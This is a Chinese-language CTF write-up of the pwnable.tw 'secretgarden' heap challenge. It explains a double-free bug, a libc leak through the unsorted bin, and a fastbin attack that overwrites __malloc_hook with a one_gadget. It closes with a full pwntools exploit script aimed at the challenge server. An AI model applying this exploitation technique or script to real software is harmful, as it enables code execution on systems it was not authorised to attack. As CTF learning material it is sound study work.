LYYL' Blog

勿忧拂意,勿喜快心,勿恃久安,勿惮初难。

0%

pwnable.tw中的secretgarden

分析

首先我们来看一下程序反汇编之后的结果,程序一共给出了5种操作,分别是raise,visit,remove,clean,exit。其中我们发现,raise中对于name的变量是根据用户的输入的长度进行分配堆块的。并且在remove的时候并没有对nameNULL,因此存在Double Free

1.jpg

我们可以利用unsorted_bin中指向main_arena的地址来获取libc的基址。由于存在DoubleFree,因此我们可以利用fast_bin attack来分配一块指向任意地址的空间。我们先查看一下程序开启的保护

2.jpg

程序保护全开,因此我们没有办法覆写got表,并且由于不能得到栈中的地址,因此也没有办法覆写返回地址。这里我想到的是覆写malloc_hookone_gadget的地址,但是之前需要先构造fake chunk。我们观察到在malloc_hook的低地址出存在多个地址,因此我们可以选取其中合适的利用错位字节的思想完成fake chunk的构造

3.jpg

但是在覆写的时候发现所有的one gadget都不成功。由于malloc或者free的时候会调用malloc_printerr函数打印错误信息,因此我们可以通过double free来触发malloc_printerr从而触发malloc函数,进而执行malloc_hook。这时one_gadget中的rsp+0x50==0的条件就满足了。

4.jpg

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *

context.log_level = "debug"
debug = 1
elf = ELF("./secretgarden")
libc = ELF("secretgarden_libc_64.so.6")
main_arena_offset = 0x3c3b20

if debug:
p = process(['./secretgarden'], env={"LD_PRELOAD":"./secretgarden_libc_64.so.6"})
gdb.attach(p)
else:
p = remote("chall.pwnable.tw", 10203)


def raiseFlower(length, name, color):
p.recvuntil("choice : ")
p.sendline("1")
p.recvuntil("name :")
p.sendline(str(length))
p.recvuntil("flower :")
p.sendline(name)
p.recvuntil("flower :")
p.sendline(color)


def visit():
p.recvuntil("choice : ")
p.sendline("2")


def remove(index):
p.recvuntil("choice : ")
p.sendline("3")
p.recvuntil("garden:")
p.sendline(str(index))


def clean():
p.recvuntil("choice : ")
p.sendline("4")


def leave():
p.recvuntil("choice : ")
p.sendline("5")


# leak address
one_gadegt = 0xef6c4
raiseFlower(400, "test", "test")
raiseFlower(400, "test", "test")
raiseFlower(40, "test", "test")
remove(1)
remove(2)
raiseFlower(400, "1" * 0x7, "test")
visit()
p.recvuntil("flower[3]")
p.recvuntil("\n")
libc.address = u64(p.recv(6).ljust(8, "\x00")) - 88 - main_arena_offset
malloc_hook_address = libc.symbols['__malloc_hook']
one_gadegt_address = libc.address + one_gadegt

# overwrote fd pointer
raiseFlower(0x60, "test", "test") # 4
raiseFlower(0x60, "test", "test")

remove(4)
remove(5)
remove(4)
print "libc address", hex(libc.address)
print "malloc hook address", hex(malloc_hook_address)
print "one gadget address", hex(one_gadegt_address)

raiseFlower(0x60, p64(malloc_hook_address-0x23), "test")
raiseFlower(0x60, "test", "test")
raiseFlower(0x60, "test", "test")
raiseFlower(0x60, "a"*0x13+p64(one_gadegt_address), "test")

remove(5)
remove(5)
p.interactive()